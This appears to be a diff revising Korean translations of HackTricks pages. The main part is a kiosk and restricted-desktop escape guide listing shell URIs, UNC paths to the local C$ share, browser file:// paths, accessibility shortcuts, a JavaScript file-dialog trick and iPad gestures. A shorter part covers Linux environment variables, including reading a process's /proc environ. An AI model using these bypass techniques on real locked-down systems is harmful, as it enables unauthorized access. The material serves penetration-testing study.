||||||
### 경로 제한 우회
|
### 경로 제한 우회
|
||||||
|
|
||||||
* **환경 변수**: 특정 경로를 가리키는 많은 환경 변수가 있음
|
* **환경 변수**: 특정 경로를 가리키는 많은 환경 변수가 있습니다.
|
||||||
* **다른 프로토콜**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
* **다른 프로토콜**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||||
* **심볼릭 링크**
|
* **심볼릭 링크**
|
||||||
* **바로 가기**: CTRL+N (새 세션 열기), CTRL+R (명령 실행), CTRL+SHIFT+ESC (작업 관리자), Windows+E (탐색기 열기), CTRL-B, CTRL-I (즐겨찾기), CTRL-H (기록), CTRL-L, CTRL-O (파일/열기 대화 상자), CTRL-P (인쇄 대화 상자), CTRL-S (다른 이름으로 저장)
|
* **바로 가기**: CTRL+N (새 세션 열기), CTRL+R (명령 실행), CTRL+SHIFT+ESC (작업 관리자), Windows+E (탐색기 열기), CTRL-B, CTRL-I (즐겨찾기), CTRL-H (기록), CTRL-L, CTRL-O (파일/열기 대화상자), CTRL-P (인쇄 대화상자), CTRL-S (다른 이름으로 저장)
|
||||||
* 숨겨진 관리 메뉴: CTRL-ALT-F8, CTRL-ESC-F9
|
* 숨겨진 관리 메뉴: CTRL-ALT-F8, CTRL-ESC-F9
|
||||||
* **쉘 URI**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
* **셸 URI**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||||
* **UNC 경로**: 공유 폴더에 연결하는 경로. 로컬 머신의 C$에 연결을 시도해야 함 ("\\\127.0.0.1\c$\Windows\System32")
|
* **UNC 경로**: 공유 폴더에 연결하는 경로. 로컬 머신의 C$에 연결해 보세요 ("\\\127.0.0.1\c$\Windows\System32")
|
||||||
* **더 많은 UNC 경로:**
|
* **더 많은 UNC 경로:**
|
||||||
|
|
||||||
| UNC | UNC | UNC |
|
| UNC | UNC | UNC |
|
||||||
|
@ -93,15 +83,34 @@ _bash, sh, zsh..._ 여기에서 더 많은 정보를 찾을 수 있습니다: [h
|
||||||
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
|
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
|
||||||
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
||||||
| %USERPROFILE% | %WINDIR% | |
|
| %USERPROFILE% | %WINDIR% | |
|
||||||
|
|
||||||
|
### 바이너리 다운로드
|
||||||
|
|
||||||
|
콘솔: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||||
|
탐색기: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||||
|
레지스트리 편집기: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||||
|
|
||||||
|
### 브라우저에서 파일 시스템 접근
|
||||||
|
|
||||||
|
| 경로 | 경로 | 경로 | 경로 |
|
||||||
|
| ------------------- | ----------------- | ------------------ | ------------------- |
|
||||||
|
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
|
||||||
|
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
|
||||||
|
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
|
||||||
|
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
|
||||||
|
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||||
|
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||||
|
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||||
|
|
||||||
### 단축키
|
### 단축키
|
||||||
|
|
||||||
* Sticky Keys – SHIFT 키를 5번 누름
|
* 스티키 키 – SHIFT 5회 누르기
|
||||||
* Mouse Keys – SHIFT+ALT+NUMLOCK
|
* 마우스 키 – SHIFT+ALT+NUMLOCK
|
||||||
* High Contrast – SHIFT+ALT+PRINTSCN
|
* 고대비 – SHIFT+ALT+PRINTSCN
|
||||||
* Toggle Keys – NUMLOCK 키를 5초간 누름
|
* 토글 키 – NUMLOCK 5초 동안 누르기
|
||||||
* Filter Keys – 오른쪽 SHIFT 키를 12초간 누름
|
* 필터 키 – 오른쪽 SHIFT 12초 동안 누르기
|
||||||
* WINDOWS+F1 – Windows 검색
|
* WINDOWS+F1 – Windows 검색
|
||||||
* WINDOWS+D – 데스크톱 보기
|
* WINDOWS+D – 바탕 화면 표시
|
||||||
* WINDOWS+E – Windows 탐색기 실행
|
* WINDOWS+E – Windows 탐색기 실행
|
||||||
* WINDOWS+R – 실행
|
* WINDOWS+R – 실행
|
||||||
* WINDOWS+U – 접근성 센터
|
* WINDOWS+U – 접근성 센터
|
||||||
|
@ -111,29 +120,29 @@ _bash, sh, zsh..._ 여기에서 더 많은 정보를 찾을 수 있습니다: [h
|
||||||
* CTRL+ALT+DEL – 최신 Windows 버전에서 스플래시 화면
|
* CTRL+ALT+DEL – 최신 Windows 버전에서 스플래시 화면
|
||||||
* F1 – 도움말 F3 – 검색
|
* F1 – 도움말 F3 – 검색
|
||||||
* F6 – 주소 표시줄
|
* F6 – 주소 표시줄
|
||||||
* F11 – 인터넷 익스플로러에서 전체 화면 전환
|
* F11 – Internet Explorer에서 전체 화면 전환
|
||||||
* CTRL+H – 인터넷 익스플로러 기록
|
* CTRL+H – Internet Explorer 기록
|
||||||
* CTRL+T – 인터넷 익스플로러 – 새 탭
|
* CTRL+T – Internet Explorer – 새 탭
|
||||||
* CTRL+N – 인터넷 익스플로러 – 새 페이지
|
* CTRL+N – Internet Explorer – 새 페이지
|
||||||
* CTRL+O – 파일 열기
|
* CTRL+O – 파일 열기
|
||||||
* CTRL+S – 저장 CTRL+N – 새 RDP / Citrix
|
* CTRL+S – 저장 CTRL+N – 새 RDP / Citrix
|
||||||
|
|
||||||
### 스와이프
|
### 스와이프
|
||||||
|
|
||||||
* 왼쪽에서 오른쪽으로 스와이프하여 모든 열린 창을 볼 수 있으며 KIOSK 앱을 최소화하고 전체 OS에 직접 액세스할 수 있음
|
* 왼쪽에서 오른쪽으로 스와이프하여 모든 열린 창을 보고 KIOSK 앱을 최소화하고 전체 OS에 직접 접근합니다;
|
||||||
* 오른쪽에서 왼쪽으로 스와이프하여 작업 센터를 열고 KIOSK 앱을 최소화하고 전체 OS에 직접 액세스할 수 있음
|
* 오른쪽에서 왼쪽으로 스와이프하여 작업 센터를 열고 KIOSK 앱을 최소화하고 전체 OS에 직접 접근합니다;
|
||||||
* 위쪽 가장자리에서 스와이프하여 전체 화면 모드에서 열린 앱의 타이틀 표시줄을 보이게 함
|
* 상단 가장자리에서 아래로 스와이프하여 전체 화면 모드에서 열린 앱의 제목 표시줄을 표시합니다;
|
||||||
* 아래쪽에서 위쪽으로 스와이프하여 전체 화면 앱에서 작업 표시줄을 표시함
|
* 아래에서 위로 스와이프하여 전체 화면 앱에서 작업 표시줄을 표시합니다.
|
||||||
|
|
||||||
### 인터넷 익스플로러 트릭
|
### Internet Explorer 트릭
|
||||||
|
|
||||||
#### '이미지 툴바'
|
#### '이미지 도구 모음'
|
||||||
|
|
||||||
클릭하면 이미지 상단 왼쪽에 나타나는 툴바입니다. 저장, 인쇄, 메일 보내기, 탐색기에서 "내 사진" 열기 등이 가능합니다. 키오스크는 인터넷 익스플로러를 사용해야 합니다.
|
이미지를 클릭하면 왼쪽 상단에 나타나는 도구 모음입니다. 저장, 인쇄, 메일 보내기, 탐색기에서 "내 사진" 열기를 할 수 있습니다. Kiosk는 Internet Explorer를 사용해야 합니다.
|
||||||
|
|
||||||
#### 쉘 프로토콜
|
#### 셸 프로토콜
|
||||||
|
|
||||||
다음 URL을 입력하여 탐색기 보기:
|
탐색기 보기를 얻으려면 다음 URL을 입력하세요:
|
||||||
|
|
||||||
* `shell:Administrative Tools`
|
* `shell:Administrative Tools`
|
||||||
* `shell:DocumentsLibrary`
|
* `shell:DocumentsLibrary`
|
||||||
|
@ -155,156 +164,147 @@ _bash, sh, zsh..._ 여기에서 더 많은 정보를 찾을 수 있습니다: [h
|
||||||
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> 제어판
|
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> 제어판
|
||||||
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> 내 컴퓨터
|
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> 내 컴퓨터
|
||||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> 내 네트워크 위치
|
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> 내 네트워크 위치
|
||||||
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> 인터넷 익스플로러
|
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||||
|
|
||||||
### 파일 확장자 표시
|
### 파일 확장자 표시
|
||||||
|
|
||||||
자세한 정보는 다음 페이지를 확인하세요: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
자세한 정보는 이 페이지를 확인하세요: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||||
|
|
||||||
## 브라우저 트릭
|
## 브라우저 트릭
|
||||||
|
|
||||||
iKat 버전을 백업합니다:
|
iKat 버전 백업:
|
||||||
|
|
||||||
[http://swin.es/k/](http://swin.es/k/)\
|
[http://swin.es/k/](http://swin.es/k/)\
|
||||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
||||||
|
|
||||||
JavaScript를 사용하여 공통 대화 상자를 만들고 파일 탐색기에 액세스합니다: `document.write('<input/type=file>')`\
|
JavaScript를 사용하여 일반 대화상자를 만들고 파일 탐색기에 접근하기: `document.write('<input/type=file>')`\
|
||||||
출처: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
출처: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||||
|
|
||||||
## iPad
|
## iPad
|
||||||
|
|
||||||
### 제스처 및 버튼
|
### 제스처 및 버튼
|
||||||
|
|
||||||
* 네 손가락으로 위로 스와이프 / 홈 버튼을 두 번 탭: 멀티태스크 보기 및 앱 변경
|
* 네 손가락(또는 다섯 손가락)으로 위로 스와이프 / 홈 버튼 두 번 탭: 멀티태스킹 뷰를 보고 앱을 변경합니다.
|
||||||
* 네 손가락으로 한쪽으로 스와이프: 다음/이전 앱으로 변경
|
* 네 손가락 또는 다섯 손가락으로 한쪽 방향으로 스와이프: 다음/이전 앱으로 변경합니다.
|
||||||
* 다섯 손가락으로 화면을 집는다 / 홈 버튼을 터치 / 화면 하단에서 위쪽으로 빠르게 스와이프: 홈에 액세스
|
* 다섯 손가락으로 화면을 집게 / 홈 버튼 터치 / 화면 하단에서 한 손가락으로 빠르게 위로 스와이프: 홈에 접근합니다.
|
||||||
* 화면 하단에서 약 1-2인치 위로 한 손가락으로 스와이프(느리게): 독이 나타남
|
* 화면 하단에서 한 손가락으로 1-2인치 스와이프(느리게): 도크가 나타납니다.
|
||||||
* 화면 상단에서 한 손가락으로 아래로 스와이프: 알림 보기
|
* 화면 상단에서 한 손가락으로 아래로 스와이프: 알림을 봅니다.
|
||||||
* 화면 우측 상단에서 한 손가락으로 아래로 스와이프: iPad Pro의 제어 센터 보기
|
* 화면 오른쪽 상단 모서리에서 한 손가락으로 아래로 스와이프: iPad Pro의 제어 센터를 봅니다.
|
||||||
* 화면 왼쪽에서 한 손가락으로 약 1-2인치 스와이프: 오늘 보기 보기
|
* 화면 왼쪽에서 한 손가락으로 1-2인치 스와이프: 오늘 보기 확인.
|
||||||
* 화면 중앙에서 빠르게 오른쪽이나 왼쪽으로 한 손가락으로 스와이프: 다음/이전 앱으로 변경
|
* 화면 중앙에서 한 손가락으로 빠르게 오른쪽 또는 왼쪽으로 스와이프: 다음/이전 앱으로 변경합니다.
|
||||||
* 오른쪽 상단의 On/**Off**/Sleep 버튼을 누르고 **iPad를 오른쪽 끝까지 슬라이드하여 전원을 끔**: 전원 끄기
|
* 오른쪽 상단 모서리의 전원/슬립 버튼을 누르고 **전원 끄기** 슬라이더를 오른쪽으로 끝까지 이동: 전원 끄기.
|
||||||
* **iPad의** 오른쪽 상단의 On/**Off**/Sleep 버튼을 길게 누르고 홈 버튼을 몇 초간 누름**: 강제 종료
|
* 오른쪽 상단 모서리의 전원/슬립 버튼과 홈 버튼을 몇 초 동안 누르기: 강제로 하드 전원 끄기.
|
||||||
* **iPad의** 오른쪽 상단의 On/**Off**/Sleep 버튼을 누르고 홈 버튼을 빨리 누름**: 화면 하단 왼쪽에 팝업되는 스크린샷 촬영. 두 버튼을 동시에 매우 짧게 누르면 몇 초간 강제 종료됨
|
* 오른쪽 상단 모서리의 전원/슬립 버튼과 홈 버튼을 빠르게 누르기: 화면 왼쪽 하단에 팝업되는 스크린샷을 찍습니다. 두 버튼을 동시에 아주 짧게 누르세요. 몇 초 동안 누르면 하드 전원 끄기가 수행됩니다.
|
||||||
|
|
||||||
### 단축키
|
### 단축키
|
||||||
|
|
||||||
iPad 키보드 또는 USB 키보드 어댑터가 있어야 합니다. 애플리케이션에서 탈출하는 데 도움이 되는 단축키만 여기에 표시됩니다.
|
iPad 키보드 또는 USB 키보드 어댑터가 있어야 합니다. 애플리케이션에서 탈출하는 데 도움이 될 수 있는 단축키만 표시됩니다.
|
||||||
|
|
||||||
| 키 | 이름 |
|
| 키 | 이름 |
|
||||||
| --- | ------------ |
|
| --- | ------------ |
|
||||||
| ⌘ | Command |
|
| ⌘ | 명령 |
|
||||||
| ⌥ | Option (Alt) |
|
| ⌥ | 옵션 (Alt) |
|
||||||
| ⇧ | Shift |
|
| ⇧ | Shift |
|
||||||
| ↩ | Return |
|
| ↩ | Return |
|
||||||
| ⇥ | Tab |
|
| ⇥ | Tab |
|
||||||
| ^ | Control |
|
| ^ | Control |
|
||||||
| ← | Left Arrow |
|
| ← | 왼쪽 화살표 |
|
||||||
| → | Right Arrow |
|
| → | 오른쪽 화살표|
|
||||||
| ↑ | Up Arrow |
|
| ↑ | 위쪽 화살표 |
|
||||||
| ↓ | Down Arrow |
|
| ↓ | 아래쪽 화살표|
|
||||||
|
|
||||||
#### 시스템 단축키
|
#### 시스템 단축키
|
||||||
|
|
||||||
이 단축키는 iPad의 시각적 설정 및 소리 설정에 따라 다릅니다.
|
이 단축키는 iPad의 사용에 따라 시각적 설정 및 소리 설정을 위한 것입니다.
|
||||||
|
|
||||||
| 단축키 | 동작 |
|
| 단축키 | 작업 |
|
||||||
| -------- | ------------------------------------------------------------------------------ |
|
| -------- | ------------------------------------------------------------------------------ |
|
||||||
| F1 | 화면 어둡게 하기 |
|
| F1 | 화면 밝기 낮추기 |
|
||||||
| F2 | 화면 밝게 하기 |
|
| F2 | 화면 밝기 높이기 |
|
||||||
| F7 | 이전 곡으로 돌아가기 |
|
| F7 | 한 곡 뒤로 가기 |
|
||||||
| F8 | 재생/일시정지 |
|
| F8 | 재생/일시 정지 |
|
||||||
| F9 | 다음 곡으로 넘기기 |
|
| F9 | 곡 건너뛰기 |
|
||||||
| F10 | 음소거 |
|
| F10 | 음소거 |
|
||||||
| F11 | 볼륨 낮추기 |
|
| F11 | 볼륨 줄이기 |
|
||||||
| F12 | 볼륨 높이기 |
|
| F12 | 볼륨 높이기 |
|
||||||
| ⌘ Space | 사용 가능한 언어 목록 표시; 선택하려면 다시 스페이스 바를 탭합니다. |
|
| ⌘ Space | 사용 가능한 언어 목록 표시; 하나를 선택하려면 스페이스 바를 다시 누르세요. |
|
||||||
|
|
||||||
#### iPad 탐색
|
#### iPad 탐색
|
||||||
|
|
||||||
| 단축키 | 동작 |
|
| 단축키 | 작업 |
|
||||||
| -------------------------------------------------- | ------------------------------------------------------- |
|
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||||
| ⌘H | 홈으로 이동 |
|
| ⌘H | 홈으로 이동 |
|
||||||
| ⌘⇧H (Command-Shift-H) | 홈으로 이동 |
|
| ⌘⇧H (Command-Shift-H) | 홈으로 이동 |
|
||||||
| ⌘ (Space) | Spotlight 열기 |
|
| ⌘ (Space) | Spotlight 열기 |
|
||||||
| ⌘⇥ (Command-Tab) | 최근 사용한 10개의 앱 목록 |
|
| ⌘⇥ (Command-Tab) | 최근 사용한 앱 목록 표시 |
|
||||||
| ⌘\~ | 마지막 앱으로 이동 |
|
| ⌘\~ | 마지막 앱으로 이동 |
|
||||||
| ⌘⇧3 (Command-Shift-3) | 스크린샷 (하단 왼쪽에 떠서 저장하거나 조작) |
|
| ⌘⇧3 (Command-Shift-3) | 스크린샷 (왼쪽 하단에 저장 또는 작업하기 위해 떠다님) |
|
||||||
| ⌘⇧4 | 스크린샷 찍고 편집기에서 열기 |
|
| ⌘⇧4 | 스크린샷을 찍고 편집기에서 열기 |
|
||||||
| ⌘를 길게 누르기 | 앱에 대한 사용 가능한 단축키 목록 |
|
| ⌘을 누르고 유지 | 앱에 대한 사용 가능한 단축키 목록 표시 |
|
||||||
| ⌘⌥D (Command-Option/Alt-D) | 독 표시 |
|
| ⌘⌥D (Command-Option/Alt-D) | 도크 표시 |
|
||||||
| ^⌥H (Control-Option-H) | 홈 버튼 |
|
| ^⌥H (Control-Option-H) | 홈 버튼 |
|
||||||
| ^⌥H H (Control-Option-H-H) | 멀티태스크 바 표시 |
|
| ^⌥H H (Control-Option-H-H) | 멀티태스킹 바 표시 |
|
||||||
| ^⌥I (Control-Option-i) | 항목 선택기 |
|
| ^⌥I (Control-Option-i) | 항목 선택기 |
|
||||||
| Escape | 뒤로 버튼 |
|
| Escape | 뒤로 가기 버튼 |
|
||||||
| → (오른쪽 화살표) | 다음 항목 |
|
| → (오른쪽 화살표) | 다음 항목 |
|
||||||
| ← (왼쪽 화살표) | 이전 항목 |
|
| ← (왼쪽 화살표) | 이전 항목 |
|
||||||
| ↑↓ (위쪽 화살표, 아래쪽 화살표) | 선택한 항목을 동시에 탭 |
|
| ↑↓ (위쪽 화살표, 아래쪽 화살표) | 선택한 항목을 동시에 탭 |
|
||||||
| ⌥ ↓ (Option-아래쪽 화살표) | 아래로 스크롤 |
|
| ⌥ ↓ (Option-Down arrow) | 아래로 스크롤 |
|
||||||
| ⌥↑ (Option-위쪽 화살표) | 위로 스크롤 |
|
| ⌥↑ (Option-Up arrow) | 위로 스크롤 |
|
||||||
| ⌥← 또는 ⌥→ (Option-왼쪽 화살표 또는 Option-오른쪽 화살표) | 왼쪽 또는 오른쪽으로 스크롤 |
|
| ⌥← 또는 ⌥→ (Option-Left arrow 또는 Option-Right arrow) | 왼쪽 또는 오른쪽으로 스크롤 |
|
||||||
| ^⌥S (Control-Option-S) | VoiceOver 음성 켜기/끄기 |
|
| ^⌥S (Control-Option-S) | VoiceOver 음성을 켜거나 끄기 |
|
||||||
| ⌘⇧⇥ (Command-Shift-Tab) | 이전 앱으로 전환 |
|
| ⌘⇧⇥ (Command-Shift-Tab) | 이전 앱으로 전환 |
|
||||||
| ⌘⇥ (Command-Tab) | 원래 앱으로 전환 |
|
| ⌘⇥ (Command-Tab) | 원래 앱으로 다시 전환 |
|
||||||
| ←+→, 그런 다음 Option + ← 또는 Option+→ | 독을 통해 탐색 |
|
| ←+→, 그 다음 Option + ← 또는 Option+→ | 도크를 통해 탐색 |
|
||||||
|
|
||||||
#### Safari 단축키
|
#### Safari 단축키
|
||||||
|
|
||||||
| 단축키 | 동작 |
|
| 단축키 | 작업 |
|
||||||
| ----------------------- | ------------------------------------------------ |
|
| ----------------------- | ------------------------------------------------ |
|
||||||
| ⌘L (Command-L) | 위치 열기 |
|
| ⌘L (Command-L) | 위치 열기 |
|
||||||
| ⌘T | 새 탭 열기 |
|
| ⌘T | 새 탭 열기 |
|
||||||
| ⌘W | 현재 탭 닫기 |
|
| ⌘W | 현재 탭 닫기 |
|
||||||
| ⌘R | 현재 탭 새로고침 |
|
| ⌘R | 현재 탭 새로 고침 |
|
||||||
| ⌘. | 현재 탭 로딩 중지 |
|
| ⌘. | 현재 탭 로딩 중지 |
|
||||||
| ^⇥ | 다음 탭으로 전환 |
|
| ^⇥ | 다음 탭으로 전환 |
|
||||||
| ^⇧⇥ (Control-Shift-Tab) | 이전 탭으로 이동 |
|
| ^⇧⇥ (Control-Shift-Tab) | 이전 탭으로 이동 |
|
||||||
| ⌘L | 텍스트 입력/URL 필드 선택하여 수정 |
|
| ⌘L | 텍스트 입력/URL 필드를 선택하여 수정하기 |
|
||||||
| ⌘⇧T (Command-Shift-T) | 마지막으로 닫은 탭 열기 (여러 번 사용 가능) |
|
| ⌘⇧T (Command-Shift-T) | 마지막으로 닫은 탭 열기 (여러 번 사용할 수 있음) |
|
||||||
| ⌘\[ | 브라우징 기록에서 이전 페이지로 이동 |
|
| ⌘\[ | 브라우징 기록에서 한 페이지 뒤로 가기 |
|
||||||
| ⌘] | 브라우징 기록에서 다음 페이지로 이동 |
|
| ⌘] | 브라우징 기록에서 한 페이지 앞으로 가기 |
|
||||||
| ⌘⇧R | 리더 모드 활성화 |
|
| ⌘⇧R | 리더 모드 활성화 |
|
||||||
|
|
||||||
#### 메일 단축키
|
#### 메일 단축키
|
||||||
|
|
||||||
| 단축키 | 동작 |
|
| 단축키 | 작업 |
|
||||||
| -------------------------- | ---------------------------- |
|
| -------------------------- | ---------------------------- |
|
||||||
| ⌘L | 위치 열기 |
|
| ⌘L | 위치 열기 |
|
||||||
| ⌘T | 새 탭 열기 |
|
| ⌘T | 새 탭 열기 |
|
||||||
| ⌘W | 현재 탭 닫기 |
|
| ⌘W | 현재 탭 닫기 |
|
||||||
| ⌘R | 현재 탭 새로고침 |
|
| ⌘R | 현재 탭 새로 고침 |
|
||||||
| ⌘. | 현재 탭 로딩 중지 |
|
| ⌘. | 현재 탭 로딩 중지 |
|
||||||
| ⌘⌥F (Command-Option/Alt-F) | 메일함에서 검색 |
|
| ⌘⌥F (Command-Option/Alt-F) | 메일박스에서 검색 |
|
||||||
|
|
||||||
## 참고 자료
|
## 참고 문헌
|
||||||
|
|
||||||
* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
|
* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
|
||||||
* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
|
* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
|
||||||
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||||
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 활용한 검색 엔진으로, 회사나 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격에 대응하는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 방문하여 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop) 확인!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 참여 또는 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 팔로우**.
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR 제출.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,19 +15,11 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 전역 변수
|
## 전역 변수
|
||||||
|
|
||||||
전역 변수는 **자식 프로세스**에 의해 **상속됩니다**.
|
전역 변수는 **자식 프로세스**에 의해 **상속됩니다**.
|
||||||
|
|
||||||
현재 세션을 위해 전역 변수를 생성하려면 다음을 수행하세요:
|
현재 세션을 위해 전역 변수를 생성하려면:
|
||||||
```bash
|
```bash
|
||||||
export MYGLOBAL="hello world"
|
export MYGLOBAL="hello world"
|
||||||
echo $MYGLOBAL #Prints: hello world
|
echo $MYGLOBAL #Prints: hello world
|
||||||
|
@ -58,14 +50,14 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
||||||
|
|
||||||
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||||
|
|
||||||
* **DISPLAY** – **X**에서 사용하는 디스플레이. 이 변수는 보통 **:0.0**으로 설정되며, 이는 현재 컴퓨터의 첫 번째 디스플레이를 의미합니다.
|
* **DISPLAY** – **X**에서 사용하는 디스플레이. 이 변수는 일반적으로 **:0.0**으로 설정되며, 이는 현재 컴퓨터의 첫 번째 디스플레이를 의미합니다.
|
||||||
* **EDITOR** – 사용자가 선호하는 텍스트 편집기.
|
* **EDITOR** – 사용자가 선호하는 텍스트 편집기.
|
||||||
* **HISTFILESIZE** – 히스토리 파일에 포함된 최대 라인 수.
|
* **HISTFILESIZE** – 히스토리 파일에 포함된 최대 라인 수.
|
||||||
* **HISTSIZE** – 사용자가 세션을 종료할 때 히스토리 파일에 추가되는 라인 수.
|
* **HISTSIZE** – 사용자가 세션을 종료할 때 히스토리 파일에 추가되는 라인 수.
|
||||||
* **HOME** – 홈 디렉토리.
|
* **HOME** – 홈 디렉토리.
|
||||||
